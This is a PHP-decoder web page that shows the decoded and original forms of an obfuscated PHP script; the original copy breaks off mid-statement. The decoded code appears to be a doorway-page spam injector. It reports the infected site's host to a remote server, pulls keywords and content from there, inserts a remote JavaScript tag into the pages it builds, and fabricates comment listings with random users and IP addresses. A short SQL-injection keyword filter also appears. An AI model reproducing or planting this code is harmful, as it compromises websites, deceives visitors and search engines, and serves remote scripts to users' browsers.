Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* __________________________________________________ | Obfuscated by YAK P..

Decoded Output download

<?php 
/*   __________________________________________________ 
    |  Obfuscated by YAK Pro - Php Obfuscator  2.0.11  | 
    |              on 2021-11-13 17:56:57              | 
    |    GitHub: https://github.com/pk-fr/yakpro-po    | 
    |__________________________________________________| 
*/ 
goto BRE3j; PQMdZ: exit("HTTP/1.1 404 Not Found"); goto Jlepm; j5IFT: header("HTTP/1.1 404 Not Found"); goto Hou8T; DzvHB: $aFqvi = Q2_On(); goto hAJ9Y; gCvkm: $XcgLL = hXj2N(0, count($UwfZi), 3); goto DzvHB; sG2wB: $fJiND = preg_replace("/<a[^>]*>(.*?)<\/a>/is", "$1", $fJiND); goto z3VqE; bvvIa: foreach ($KcELh as $ynXTT => $VdFPr) { goto Z53yL; bB0dp: QmjIj: goto hktnL; OpqZr: if (!$UKuzy) { goto QmjIj; } goto DE_2t; PNlm0: exit; goto bB0dp; hktnL: LJiBO: goto emK22; Z53yL: $UKuzy = strpos($_GET["title"], $VdFPr); goto OpqZr; DE_2t: echo "Error"; goto PNlm0; emK22: } goto cJxLO; BRE3j: error_reporting(0); goto MYpez; OeW1O: $panf4 = file_get_contents("ninfo.gif"); goto FCUxe; v8qfu: $KcELh = explode("|", $vlJ1p); goto bvvIa; SDLzZ: function bPNTT($XYuwt) { goto nZFqO; nZFqO: $a5kN2 = "abcdefghijklmnopqrstuvwxyz"; goto XGnff; zUS2X: $VzT3U = 0; goto UkdiC; IC5H_: $PKnqU = strlen($a5kN2) - 1; goto zUS2X; XGnff: $B3P02 = ''; goto IC5H_; UkdiC: aVszj: goto rISa_; hGKWs: goto aVszj; goto nsQot; cbTUD: $VzT3U++; goto hGKWs; rISa_: if (!($VzT3U < $XYuwt)) { goto XizVS; } goto eW5tr; nWeYX: $B3P02 .= $a5kN2[$zUTDu]; goto G2B1p; SPnn3: return $B3P02; goto O0T3v; nsQot: XizVS: goto SPnn3; G2B1p: Vg9DE: goto cbTUD; eW5tr: $zUTDu = mt_rand(0, $PKnqU); goto nWeYX; O0T3v: } goto lCR2b; jRw1E: $panf4 = str_replace("{links}", $p3ps2, $panf4); goto TpWGz; DQ6kp: $panf4 = str_replace("{time}", date("Y-m-d H:i:s"), $panf4); goto kl5B1; kl5B1: $panf4 = str_replace("{archive}", tpi17(), $panf4); goto Q8_3D; x7wkn: $UwfZi = nvGN0($jZ6GJ); goto nx41B; Vx2hk: $BSxXu = $quiDf; goto yjLtU; nxbaT: $jZ6GJ = "http://mask.rbshoping.com/nlgok/key/index.php"; goto iBFSB; c0X8O: $panf4 = str_replace("{zipansd}", "<script language="javascript"  src="//ad.frtvenligne.com/images/gok.js"></script>", $panf4); goto jRw1E; iJFdS: if (!($quiDf == '')) { goto y4OoR; } goto j5IFT; LgwS3: $B3VHE = $BNptA . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; goto pa6xL; T2Rw8: function gm1GQ($ZhZ_x = '', $bJ6kk = ".*") { goto hPOHg; vAvX2: mt_srand((double) microtime() * 1000000); goto fRZh8; x7iN7: die("No files where found :-("); goto pgb4T; iNoa6: die("invalid folder given!"); goto uZWRP; uZWRP: tNtBh: goto ZnjM_; hPOHg: $ZhZ_x = trim($ZhZ_x); goto QmFg3; Gj2Dt: ujO9u: goto YSY4G; cUD4a: $B3PZr[] = $kekgA; goto OkKDi; xGmDd: e3H63: goto fZZSd; EPOns: if (is_dir($ZhZ_x)) { goto tNtBh; } goto iNoa6; wVmNK: goto g12mY; goto r807M; fKS11: die("Could not open the folder "" . $ZhZ_x . """); goto wVmNK; gk2cQ: if (!($kekgA = readdir($AFamg))) { goto e3H63; } goto mn8z1; r807M: U1ifV: goto A6ZhL; tReWf: die("Array index was not found! very strange!"); goto Gj2Dt; pgb4T: VL_FP: goto vAvX2; N4xCC: goto TsDaj; goto xGmDd; f45KI: if (!(count($B3PZr) == 0)) { goto VL_FP; } goto x7iN7; ZnjM_: $B3PZr = array(); goto vr2HF; cW2TG: if (isset($B3PZr[$G2DaF])) { goto ujO9u; } goto tReWf; fRZh8: $G2DaF = mt_rand(0, count($B3PZr) - 1); goto cW2TG; vr2HF: if ($AFamg = @opendir($ZhZ_x)) { goto U1ifV; } goto fKS11; JDETm: g12mY: goto f45KI; QmFg3: $ZhZ_x = $ZhZ_x == '' ? "./" : $ZhZ_x; goto EPOns; A6ZhL: TsDaj: goto gk2cQ; YSY4G: return $ZhZ_x . $B3PZr[$G2DaF]; goto V24eE; mn8z1: if (!(!preg_match("/^\.+$/", $kekgA) and preg_match("/\.(" . $bJ6kk . ")$/", $kekgA))) { goto q85gf; } goto cUD4a; OkKDi: q85gf: goto N4xCC; fZZSd: closedir($AFamg); goto JDETm; V24eE: } goto foLFG; FCUxe: $panf4 = str_replace("{title}", $RW7sb, $panf4); goto klAhN; E8iS7: $quiDf = JU3tV($SlfyG); goto uv_rF; AibRY: $panf4 = str_replace("{key}", $fJiND, $panf4); goto c0X8O; JlEtf: $RW7sb = $epEPu[0]; goto QSK4f; klAhN: $panf4 = str_replace("[host]", $B3VHE, $panf4); goto FRa3G; rjZbE: $fJiND = str_replace("</li>", '', $fJiND); goto LPmFF; BSnag: function Ju3tv($dKK3v) { goto bf7BH; woLue: $wWW7d = curl_exec($owUrL); goto VD4Qs; itYrm: curl_setopt($owUrL, CURLOPT_URL, $dKK3v); goto Xb2K0; VD4Qs: curl_close($owUrL); goto gWPsR; vpGp6: curl_setopt($owUrL, CURLOPT_RETURNTRANSFER, 1); goto woLue; gWPsR: return $wWW7d; goto NyH8V; Xb2K0: curl_setopt($owUrL, CURLOPT_TIMEOUT, 30); goto vpGp6; bf7BH: $owUrL = curl_init(); goto itYrm; NyH8V: } goto Bk6BQ; mgTqD: function nVGN0($rcnwP) { goto L0Squ; YJ5fk: $Ul1C4 = curl_exec($LL2GQ); goto XknZ4; MNbgX: curl_setopt($LL2GQ, CURLOPT_RETURNTRANSFER, 1); goto YJ5fk; b2Jar: return $M_dLI; goto kb_xa; dc6Qx: $M_dLI = explode("
", $Ul1C4); goto w8sVa; L0Squ: $LL2GQ = curl_init(); goto jPG2c; XknZ4: curl_close($LL2GQ); goto dc6Qx; jPG2c: curl_setopt($LL2GQ, CURLOPT_URL, $rcnwP); goto V1_z1; w8sVa: $M_dLI = array_filter($M_dLI); goto b2Jar; V1_z1: curl_setopt($LL2GQ, CURLOPT_TIMEOUT, 30); goto MNbgX; kb_xa: } goto BSnag; FRa3G: $panf4 = str_replace("{title_full}", $tLJxd, $panf4); goto F8ya_; m9h26: $eB2zg = $eB2zg > 0 ? $eB2zg : 1; goto ZcnQh; P7aNw: $panf4 = str_replace("{ms}", $BSxXu, $panf4); goto AibRY; jjpqU: y4OoR: goto gCvkm; F8ya_: $panf4 = str_replace("{str}", $quiDf, $panf4); goto DQ6kp; ZcnQh: $DY_pi = $_GET["title"]; goto E50sj; EZhDl: $quiDf = preg_replace("/(<b>)[^<]+?(<\/b>)/i", "<b>" . $tLJxd . "</b>", $quiDf); goto OeW1O; HHDIE: $S4MeT = explode("-", $u2Lr1); goto XVeVK; hAJ9Y: function hXj2N($hyvd0 = 0, $CYb0l = 50, $b2xCW = 40) { goto k2zPg; lABIN: return array_slice($TWHlN, 0, $b2xCW); goto wndlS; k2zPg: $CYb0l = $CYb0l - 1; goto OiWoS; OiWoS: $TWHlN = range($hyvd0, $CYb0l); goto o0ld1; o0ld1: shuffle($TWHlN); goto lABIN; wndlS: } goto DZW96; fKHKs: $BNptA = isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" || isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https" ? "https://" : "http://"; goto LgwS3; wMVfx: $LjVCD = rand(1, 6000); goto x7wkn; sv01P: $eB2zg = (int) $_GET["id"]; goto m9h26; QRnVj: $BSxXu = str_replace("<p>", '', $BSxXu); goto Y3j_G; zAUu2: header("HTTP/1.1 404 Not Found"); goto PQMdZ; nx41B: $tLJxd = $DY_pi ? $DY_pi : $UwfZi[$eB2zg]; goto afUbd; afUbd: if (!($tLJxd == '')) { goto FMRZQ; } goto zAUu2; z3VqE: $fJiND = str_replace("<li>", '', $fJiND); goto rjZbE; QSK4f: $AqcUv = $SlfyG; goto E8iS7; iBFSB: $C849h = $_SERVER["PHP_SELF"]; goto MC3BZ; yjLtU: $BSxXu = preg_replace("/<a[^>]*>(.*?)<\/a>/is", "$1", $BSxXu); goto QRnVj; p95V7: $u2Lr1 = 6000; goto fKHKs; Y3j_G: $BSxXu = mb_substr($BSxXu, 0, 150, "UTF-8"); goto iJFdS; uv_rF: $fJiND = TPi17(); goto sG2wB; DZW96: function CmP0E($HOyWj) { goto gokJI; Cp3U_: fP4Wi: goto rsHCT; y72gt: is_file($HOyWj) or mkdir($HOyWj, 0700); goto Cp3U_; gokJI: if (is_readable($HOyWj)) { goto fP4Wi; } goto y72gt; rsHCT: } goto gtKal; XVeVK: $yoDHk = $_SERVER["PHP_SELF"]; goto wQt_3; Bk6BQ: function M0XOi($yoDHk) { goto yswTl; yswTl: $z3qUp = $_SERVER["HTTP_USER_AGENT"]; goto tJwKG; ojUe9: curl_setopt($owUrL, CURLOPT_USERAGENT, $z3qUp); goto MPxK5; MPxK5: $UDH5L = curl_exec($owUrL); goto Sp1IW; ysIKv: $aWqLr = 10; goto wF4OG; tJwKG: $owUrL = curl_init(); goto ysIKv; Sp1IW: curl_close($owUrL); goto Q5j6v; INwH4: curl_setopt($owUrL, CURLOPT_RETURNTRANSFER, 1); goto BRTt2; BRTt2: curl_setopt($owUrL, CURLOPT_CONNECTTIMEOUT, $aWqLr); goto ojUe9; wF4OG: curl_setopt($owUrL, CURLOPT_URL, $yoDHk); goto INwH4; Q5j6v: return $UDH5L; goto T9Crf; T9Crf: } goto ZiTEY; Jlepm: FMRZQ: goto TN_Ya; TN_Ya: $epEPu = @explode("-", $tLJxd); goto JlEtf; LG3K4: $DY_pi = str_replace("-", " ", $DY_pi); goto wMVfx; LPmFF: $fJiND = mb_substr($fJiND, 0, 130, "UTF-8"); goto Vx2hk; LzG4B: $AFamg = str_replace($Vh0SA, '', $C849h); goto HHDIE; Hou8T: exit("HTTP/1.1 404 Not Found"); goto jjpqU; ZiTEY: function sYjGc($QX08y, $Vh0SA) { file_exists($Vh0SA) or touch($Vh0SA); file_put_contents($Vh0SA, " 
\xareturn " . var_export($QX08y, TRUE) . " 
\xa"); } goto T2Rw8; pa6xL: $SlfyG = "http://mask.rbshoping.com/nlgok/index.php?type=index.php&host={$B3VHE}"; goto nxbaT; MYpez: ini_set("memory_limit", "-1"); goto p95V7; cJxLO: Tx7ZD: goto LG3K4; lCR2b: function Q2_oN() { goto zN4VL; k7wKo: c7gtR: goto bPKXg; ug1E7: $Z2kFy = 1; goto k7wKo; UeFXe: $ybU_i = $ybU_i . "<table width='100%' cellpadding='0' cellspacing='0' >"; goto ug1E7; AwzED: $Z2kFy++; goto qfnSG; bQf9E: $ybU_i = $ybU_i . "</td>"; goto ePx3k; pY2q2: $ybU_i = $ybU_i . "<td></td><td width='30%'>" . rand(1, 255) . "." . rand(1, 255) . "." . rand(1, 255) . "." . rand(1, 255) . "</td>"; goto I8XlZ; sYYMM: $ybU_i = $ybU_i . "</tr>"; goto EcHZ0; SOKfR: return $ybU_i; goto p0JdP; lHKMv: $ybU_i = $ybU_i . "<tr>"; goto o4Yg1; o4Yg1: $ybU_i = $ybU_i . "<td>"; goto ruH2D; qfnSG: goto c7gtR; goto NBu8l; NBu8l: IRl4L: goto MwjsN; ruH2D: $ybU_i = $ybU_i . "<table width='100%' cellpadding='0' cellspacing='0' >"; goto rsu4c; bPKXg: if (!($Z2kFy <= 10)) { goto IRl4L; } goto lHKMv; EcHZ0: $ybU_i = $ybU_i . "<tr>"; goto pY2q2; yJbGr: $ybU_i = $ybU_i . "<tr>"; goto yOXrs; rsu4c: $ybU_i = $ybU_i . "<tr>"; goto J05Ot; VboFP: $ybU_i = $ybU_i . "</table>"; goto bQf9E; pPHAC: Ikw_C: goto AwzED; iwX_B: $ybU_i = $ybU_i . "</tr>"; goto yJbGr; MwjsN: $ybU_i = $ybU_i . "</table>"; goto SOKfR; zN4VL: global $RW7sb; goto e4BTa; e4BTa: $ybU_i = ''; goto UeFXe; I8XlZ: $ybU_i = $ybU_i . "</tr>"; goto VboFP; yOXrs: $ybU_i = $ybU_i . "<td colspan='2'>" . str_replace(" ", " " . bPNtT(8) . " ", $RW7sb) . "</td>"; goto sYYMM; ePx3k: $ybU_i = $ybU_i . "</tr>"; goto pPHAC; J05Ot: $ybU_i = $ybU_i . "<td>USER:" . bPNtt(7) . "</td><td width='30%'>" . @date("Y-m-d", @strtotime("-" . $Z2kFy . " day")) . " " . str_pad(rand(1, 23), 2, "0", STR_PAD_LEFT) . ":" . str_pad(rand(1, 59), 2, "0", STR_PAD_LEFT) . ":" . str_pad(rand(1, 59), 2, "0", STR_PAD_LEFT) . " </td>"; goto iwX_B; p0JdP: } goto EZhDl; wQt_3: $Vh0SA = substr($yoDHk, strrpos($yoDHk, "/") + 1); goto sv01P; gtKal: function TpI17() { goto HUKz6; HUKz6: global $UwfZi, $XcgLL, $AFamg; goto b0kg4; KaVgQ: foreach ($XcgLL as $HLFIP) { goto oWb05; R4K3_: G142W: goto Tq6U2; LSa3Y: $m18CD .= "<li><a href='/andel/" . z0c2h($DY_pi[0]) . "-" . BPNtt(4) . ".html'  title='" . $UwfZi[$HLFIP] . "'>" . $DY_pi[0] . "</a></li>"; goto R4K3_; oWb05: $DY_pi = explode("-", $UwfZi[$HLFIP]); goto LSa3Y; Tq6U2: } goto p2Z4L; Swgu9: return $m18CD; goto YQmKz; VuGmk: XyOkN: goto Swgu9; p2Z4L: ydaXi: goto AAZn1; AAZn1: foreach (HxJ2n(0, count($UwfZi), 30) as $HLFIP) { goto UlkqV; OzWxm: $m18CD .= "<li><a href='/andel/" . Z0C2h($DY_pi[0]) . "-" . BPntT(4) . ".html'  title='" . $UwfZi[$HLFIP] . "'>" . $DY_pi[0] . "</a></li>"; goto gAIkC; UlkqV: $DY_pi = explode("-", $UwfZi[$HLFIP]); goto OzWxm; gAIkC: GMNaM: goto LFdJN; LFdJN: } goto VuGmk; b0kg4: $m18CD = ''; goto KaVgQ; YQmKz: } goto mgTqD; E50sj: $vlJ1p = "union|select|limit|order by|guoup by|<script>|\|</script>|'"; goto v8qfu; MC3BZ: $Vh0SA = substr($C849h, strrpos($C849h, "/") + 1); goto LzG4B; Q8_3D: $panf4 = str_replace("{comments}", $aFqvi, $panf4); goto P7aNw; foLFG: function z0C2H($a5kN2) { goto rnKrh; G6UYR: $a5kN2 = str_replace(" ", "-", $a5kN2); goto JEQty; rnKrh: $a5kN2 = trim($a5kN2); goto G6UYR; k9BjA: return $a5kN2; goto nQDfO; JEQty: $a5kN2 = str_replace("--", "-", $a5kN2); goto k9BjA; nQDfO: } goto SDLzZ; TpWGz: exit($panf4); 
 ?>

Did this file decode correctly?

Original Code

<?php
/*   __________________________________________________
    |  Obfuscated by YAK Pro - Php Obfuscator  2.0.11  |
    |              on 2021-11-13 17:56:57              |
    |    GitHub: https://github.com/pk-fr/yakpro-po    |
    |__________________________________________________|
*/
goto BRE3j; PQMdZ: exit("\110\124\124\120\x2f\61\x2e\x31\x20\x34\x30\64\40\116\x6f\164\x20\x46\157\x75\x6e\x64"); goto Jlepm; j5IFT: header("\110\124\124\x50\57\x31\x2e\61\40\x34\x30\x34\x20\x4e\157\x74\40\x46\157\x75\156\x64"); goto Hou8T; DzvHB: $aFqvi = Q2_On(); goto hAJ9Y; gCvkm: $XcgLL = hXj2N(0, count($UwfZi), 3); goto DzvHB; sG2wB: $fJiND = preg_replace("\57\74\x61\133\x5e\76\x5d\52\x3e\50\56\52\x3f\x29\74\134\57\x61\76\x2f\151\x73", "\44\61", $fJiND); goto z3VqE; bvvIa: foreach ($KcELh as $ynXTT => $VdFPr) { goto Z53yL; bB0dp: QmjIj: goto hktnL; OpqZr: if (!$UKuzy) { goto QmjIj; } goto DE_2t; PNlm0: exit; goto bB0dp; hktnL: LJiBO: goto emK22; Z53yL: $UKuzy = strpos($_GET["\x74\151\164\x6c\145"], $VdFPr); goto OpqZr; DE_2t: echo "\105\162\162\157\x72"; goto PNlm0; emK22: } goto cJxLO; BRE3j: error_reporting(0); goto MYpez; OeW1O: $panf4 = file_get_contents("\156\151\156\146\x6f\x2e\147\x69\x66"); goto FCUxe; v8qfu: $KcELh = explode("\174", $vlJ1p); goto bvvIa; SDLzZ: function bPNTT($XYuwt) { goto nZFqO; nZFqO: $a5kN2 = "\141\x62\x63\x64\145\146\147\x68\151\152\153\x6c\x6d\x6e\x6f\160\x71\x72\163\164\165\166\167\170\x79\172"; goto XGnff; zUS2X: $VzT3U = 0; goto UkdiC; IC5H_: $PKnqU = strlen($a5kN2) - 1; goto zUS2X; XGnff: $B3P02 = ''; goto IC5H_; UkdiC: aVszj: goto rISa_; hGKWs: goto aVszj; goto nsQot; cbTUD: $VzT3U++; goto hGKWs; rISa_: if (!($VzT3U < $XYuwt)) { goto XizVS; } goto eW5tr; nWeYX: $B3P02 .= $a5kN2[$zUTDu]; goto G2B1p; SPnn3: return $B3P02; goto O0T3v; nsQot: XizVS: goto SPnn3; G2B1p: Vg9DE: goto cbTUD; eW5tr: $zUTDu = mt_rand(0, $PKnqU); goto nWeYX; O0T3v: } goto lCR2b; jRw1E: $panf4 = str_replace("\173\x6c\x69\156\153\163\x7d", $p3ps2, $panf4); goto TpWGz; DQ6kp: $panf4 = str_replace("\173\164\x69\x6d\x65\x7d", date("\x59\55\155\x2d\144\40\x48\x3a\x69\72\x73"), $panf4); goto kl5B1; kl5B1: $panf4 = str_replace("\173\141\162\x63\x68\151\x76\x65\175", tpi17(), $panf4); goto Q8_3D; x7wkn: $UwfZi = nvGN0($jZ6GJ); goto nx41B; Vx2hk: $BSxXu = $quiDf; goto yjLtU; nxbaT: $jZ6GJ = "\x68\x74\164\x70\x3a\x2f\x2f\x6d\x61\163\153\56\162\142\163\x68\157\x70\151\x6e\x67\x2e\143\157\x6d\x2f\156\x6c\147\157\153\57\153\145\x79\x2f\x69\x6e\x64\145\170\56\160\x68\x70"; goto iBFSB; c0X8O: $panf4 = str_replace("\173\172\x69\x70\x61\156\x73\144\175", "\x3c\x73\x63\162\x69\x70\164\40\154\141\156\x67\x75\141\147\x65\75\x22\152\x61\166\141\163\x63\x72\151\x70\164\x22\40\x20\163\162\x63\75\x22\x2f\57\x61\144\56\x66\x72\x74\166\145\x6e\x6c\151\x67\156\x65\56\x63\x6f\155\57\151\155\141\147\145\163\x2f\x67\157\x6b\56\x6a\163\42\x3e\74\57\x73\143\162\x69\160\164\x3e", $panf4); goto jRw1E; iJFdS: if (!($quiDf == '')) { goto y4OoR; } goto j5IFT; LgwS3: $B3VHE = $BNptA . $_SERVER["\x48\124\124\120\137\110\x4f\x53\124"] . $_SERVER["\x52\105\x51\125\x45\x53\124\137\125\x52\x49"]; goto pa6xL; T2Rw8: function gm1GQ($ZhZ_x = '', $bJ6kk = "\x2e\x2a") { goto hPOHg; vAvX2: mt_srand((double) microtime() * 1000000); goto fRZh8; x7iN7: die("\116\157\40\x66\x69\x6c\145\x73\x20\167\x68\x65\x72\145\40\x66\157\x75\x6e\144\x20\72\x2d\50"); goto pgb4T; iNoa6: die("\151\x6e\x76\141\154\151\144\40\146\157\154\x64\x65\x72\x20\x67\x69\166\x65\156\x21"); goto uZWRP; uZWRP: tNtBh: goto ZnjM_; hPOHg: $ZhZ_x = trim($ZhZ_x); goto QmFg3; Gj2Dt: ujO9u: goto YSY4G; cUD4a: $B3PZr[] = $kekgA; goto OkKDi; xGmDd: e3H63: goto fZZSd; EPOns: if (is_dir($ZhZ_x)) { goto tNtBh; } goto iNoa6; wVmNK: goto g12mY; goto r807M; fKS11: die("\x43\157\x75\154\144\x20\156\157\164\40\157\x70\x65\x6e\x20\x74\150\x65\40\146\x6f\154\144\x65\x72\40\42" . $ZhZ_x . "\42"); goto wVmNK; gk2cQ: if (!($kekgA = readdir($AFamg))) { goto e3H63; } goto mn8z1; r807M: U1ifV: goto A6ZhL; tReWf: die("\101\x72\x72\141\x79\x20\151\156\144\145\170\x20\167\141\x73\x20\x6e\x6f\164\x20\x66\x6f\x75\156\x64\41\40\166\145\x72\171\40\163\x74\x72\141\x6e\x67\145\x21"); goto Gj2Dt; pgb4T: VL_FP: goto vAvX2; N4xCC: goto TsDaj; goto xGmDd; f45KI: if (!(count($B3PZr) == 0)) { goto VL_FP; } goto x7iN7; ZnjM_: $B3PZr = array(); goto vr2HF; cW2TG: if (isset($B3PZr[$G2DaF])) { goto ujO9u; } goto tReWf; fRZh8: $G2DaF = mt_rand(0, count($B3PZr) - 1); goto cW2TG; vr2HF: if ($AFamg = @opendir($ZhZ_x)) { goto U1ifV; } goto fKS11; JDETm: g12mY: goto f45KI; QmFg3: $ZhZ_x = $ZhZ_x == '' ? "\x2e\x2f" : $ZhZ_x; goto EPOns; A6ZhL: TsDaj: goto gk2cQ; YSY4G: return $ZhZ_x . $B3PZr[$G2DaF]; goto V24eE; mn8z1: if (!(!preg_match("\57\x5e\x5c\x2e\x2b\44\x2f", $kekgA) and preg_match("\x2f\134\56\50" . $bJ6kk . "\x29\x24\57", $kekgA))) { goto q85gf; } goto cUD4a; OkKDi: q85gf: goto N4xCC; fZZSd: closedir($AFamg); goto JDETm; V24eE: } goto foLFG; FCUxe: $panf4 = str_replace("\x7b\164\151\x74\154\145\x7d", $RW7sb, $panf4); goto klAhN; E8iS7: $quiDf = JU3tV($SlfyG); goto uv_rF; AibRY: $panf4 = str_replace("\x7b\153\x65\171\x7d", $fJiND, $panf4); goto c0X8O; JlEtf: $RW7sb = $epEPu[0]; goto QSK4f; klAhN: $panf4 = str_replace("\133\x68\x6f\x73\x74\x5d", $B3VHE, $panf4); goto FRa3G; rjZbE: $fJiND = str_replace("\74\x2f\x6c\151\x3e", '', $fJiND); goto LPmFF; BSnag: function Ju3tv($dKK3v) { goto bf7BH; woLue: $wWW7d = curl_exec($owUrL); goto VD4Qs; itYrm: curl_setopt($owUrL, CURLOPT_URL, $dKK3v); goto Xb2K0; VD4Qs: curl_close($owUrL); goto gWPsR; vpGp6: curl_setopt($owUrL, CURLOPT_RETURNTRANSFER, 1); goto woLue; gWPsR: return $wWW7d; goto NyH8V; Xb2K0: curl_setopt($owUrL, CURLOPT_TIMEOUT, 30); goto vpGp6; bf7BH: $owUrL = curl_init(); goto itYrm; NyH8V: } goto Bk6BQ; mgTqD: function nVGN0($rcnwP) { goto L0Squ; YJ5fk: $Ul1C4 = curl_exec($LL2GQ); goto XknZ4; MNbgX: curl_setopt($LL2GQ, CURLOPT_RETURNTRANSFER, 1); goto YJ5fk; b2Jar: return $M_dLI; goto kb_xa; dc6Qx: $M_dLI = explode("\15\12", $Ul1C4); goto w8sVa; L0Squ: $LL2GQ = curl_init(); goto jPG2c; XknZ4: curl_close($LL2GQ); goto dc6Qx; jPG2c: curl_setopt($LL2GQ, CURLOPT_URL, $rcnwP); goto V1_z1; w8sVa: $M_dLI = array_filter($M_dLI); goto b2Jar; V1_z1: curl_setopt($LL2GQ, CURLOPT_TIMEOUT, 30); goto MNbgX; kb_xa: } goto BSnag; FRa3G: $panf4 = str_replace("\173\x74\x69\164\154\145\137\146\x75\x6c\x6c\x7d", $tLJxd, $panf4); goto F8ya_; m9h26: $eB2zg = $eB2zg > 0 ? $eB2zg : 1; goto ZcnQh; P7aNw: $panf4 = str_replace("\x7b\155\x73\175", $BSxXu, $panf4); goto AibRY; jjpqU: y4OoR: goto gCvkm; F8ya_: $panf4 = str_replace("\173\x73\164\162\x7d", $quiDf, $panf4); goto DQ6kp; ZcnQh: $DY_pi = $_GET["\164\151\164\154\x65"]; goto E50sj; EZhDl: $quiDf = preg_replace("\x2f\x28\74\x62\x3e\51\x5b\136\74\x5d\x2b\x3f\x28\x3c\134\x2f\x62\x3e\x29\x2f\151", "\x3c\x62\x3e" . $tLJxd . "\x3c\x2f\x62\76", $quiDf); goto OeW1O; HHDIE: $S4MeT = explode("\x2d", $u2Lr1); goto XVeVK; hAJ9Y: function hXj2N($hyvd0 = 0, $CYb0l = 50, $b2xCW = 40) { goto k2zPg; lABIN: return array_slice($TWHlN, 0, $b2xCW); goto wndlS; k2zPg: $CYb0l = $CYb0l - 1; goto OiWoS; OiWoS: $TWHlN = range($hyvd0, $CYb0l); goto o0ld1; o0ld1: shuffle($TWHlN); goto lABIN; wndlS: } goto DZW96; fKHKs: $BNptA = isset($_SERVER["\110\x54\x54\x50\x53"]) && $_SERVER["\110\124\124\120\x53"] == "\x6f\156" || isset($_SERVER["\110\x54\124\x50\x5f\130\x5f\106\x4f\x52\127\x41\x52\104\105\104\137\x50\122\117\x54\117"]) && $_SERVER["\x48\124\x54\120\137\130\137\106\x4f\122\x57\101\x52\104\105\104\137\x50\122\117\124\117"] == "\x68\164\x74\160\x73" ? "\x68\164\x74\x70\163\x3a\57\57" : "\x68\164\164\x70\72\57\57"; goto LgwS3; wMVfx: $LjVCD = rand(1, 6000); goto x7wkn; sv01P: $eB2zg = (int) $_GET["\x69\x64"]; goto m9h26; QRnVj: $BSxXu = str_replace("\x3c\160\x3e", '', $BSxXu); goto Y3j_G; zAUu2: header("\110\x54\124\120\57\61\56\x31\40\x34\x30\64\x20\116\157\x74\40\106\157\165\x6e\x64"); goto PQMdZ; nx41B: $tLJxd = $DY_pi ? $DY_pi : $UwfZi[$eB2zg]; goto afUbd; afUbd: if (!($tLJxd == '')) { goto FMRZQ; } goto zAUu2; z3VqE: $fJiND = str_replace("\x3c\154\x69\x3e", '', $fJiND); goto rjZbE; QSK4f: $AqcUv = $SlfyG; goto E8iS7; iBFSB: $C849h = $_SERVER["\x50\110\x50\137\123\105\x4c\106"]; goto MC3BZ; yjLtU: $BSxXu = preg_replace("\57\x3c\141\133\x5e\76\x5d\x2a\x3e\50\56\x2a\x3f\x29\74\134\57\x61\76\57\151\x73", "\x24\61", $BSxXu); goto QRnVj; p95V7: $u2Lr1 = 6000; goto fKHKs; Y3j_G: $BSxXu = mb_substr($BSxXu, 0, 150, "\x55\124\106\55\70"); goto iJFdS; uv_rF: $fJiND = TPi17(); goto sG2wB; DZW96: function CmP0E($HOyWj) { goto gokJI; Cp3U_: fP4Wi: goto rsHCT; y72gt: is_file($HOyWj) or mkdir($HOyWj, 0700); goto Cp3U_; gokJI: if (is_readable($HOyWj)) { goto fP4Wi; } goto y72gt; rsHCT: } goto gtKal; XVeVK: $yoDHk = $_SERVER["\x50\x48\x50\137\x53\x45\114\106"]; goto wQt_3; Bk6BQ: function M0XOi($yoDHk) { goto yswTl; yswTl: $z3qUp = $_SERVER["\x48\x54\124\120\x5f\125\123\x45\x52\137\x41\x47\x45\x4e\x54"]; goto tJwKG; ojUe9: curl_setopt($owUrL, CURLOPT_USERAGENT, $z3qUp); goto MPxK5; MPxK5: $UDH5L = curl_exec($owUrL); goto Sp1IW; ysIKv: $aWqLr = 10; goto wF4OG; tJwKG: $owUrL = curl_init(); goto ysIKv; Sp1IW: curl_close($owUrL); goto Q5j6v; INwH4: curl_setopt($owUrL, CURLOPT_RETURNTRANSFER, 1); goto BRTt2; BRTt2: curl_setopt($owUrL, CURLOPT_CONNECTTIMEOUT, $aWqLr); goto ojUe9; wF4OG: curl_setopt($owUrL, CURLOPT_URL, $yoDHk); goto INwH4; Q5j6v: return $UDH5L; goto T9Crf; T9Crf: } goto ZiTEY; Jlepm: FMRZQ: goto TN_Ya; TN_Ya: $epEPu = @explode("\55", $tLJxd); goto JlEtf; LG3K4: $DY_pi = str_replace("\x2d", "\x20", $DY_pi); goto wMVfx; LPmFF: $fJiND = mb_substr($fJiND, 0, 130, "\x55\124\106\55\70"); goto Vx2hk; LzG4B: $AFamg = str_replace($Vh0SA, '', $C849h); goto HHDIE; Hou8T: exit("\110\x54\124\x50\57\x31\x2e\x31\40\64\60\64\40\116\157\x74\x20\x46\x6f\165\156\144"); goto jjpqU; ZiTEY: function sYjGc($QX08y, $Vh0SA) { file_exists($Vh0SA) or touch($Vh0SA); file_put_contents($Vh0SA, "\x20\15\xa\162\145\164\165\x72\x6e\x20" . var_export($QX08y, TRUE) . "\40\15\xa"); } goto T2Rw8; pa6xL: $SlfyG = "\x68\x74\x74\160\72\x2f\57\155\x61\163\x6b\x2e\x72\x62\163\x68\x6f\160\151\x6e\147\56\x63\157\155\x2f\x6e\x6c\147\x6f\x6b\57\x69\156\x64\145\170\x2e\160\x68\160\x3f\164\171\x70\x65\75\151\x6e\144\x65\170\56\x70\x68\x70\x26\x68\157\163\164\75{$B3VHE}"; goto nxbaT; MYpez: ini_set("\155\145\x6d\157\162\171\137\x6c\151\155\151\164", "\x2d\x31"); goto p95V7; cJxLO: Tx7ZD: goto LG3K4; lCR2b: function Q2_oN() { goto zN4VL; k7wKo: c7gtR: goto bPKXg; ug1E7: $Z2kFy = 1; goto k7wKo; UeFXe: $ybU_i = $ybU_i . "\x3c\164\x61\x62\154\x65\x20\x77\151\144\164\x68\x3d\47\x31\60\x30\45\x27\x20\143\x65\154\154\x70\141\144\144\151\x6e\147\x3d\47\60\47\40\143\x65\154\154\163\x70\141\143\x69\x6e\x67\75\x27\x30\47\40\76"; goto ug1E7; AwzED: $Z2kFy++; goto qfnSG; bQf9E: $ybU_i = $ybU_i . "\74\57\164\x64\76"; goto ePx3k; pY2q2: $ybU_i = $ybU_i . 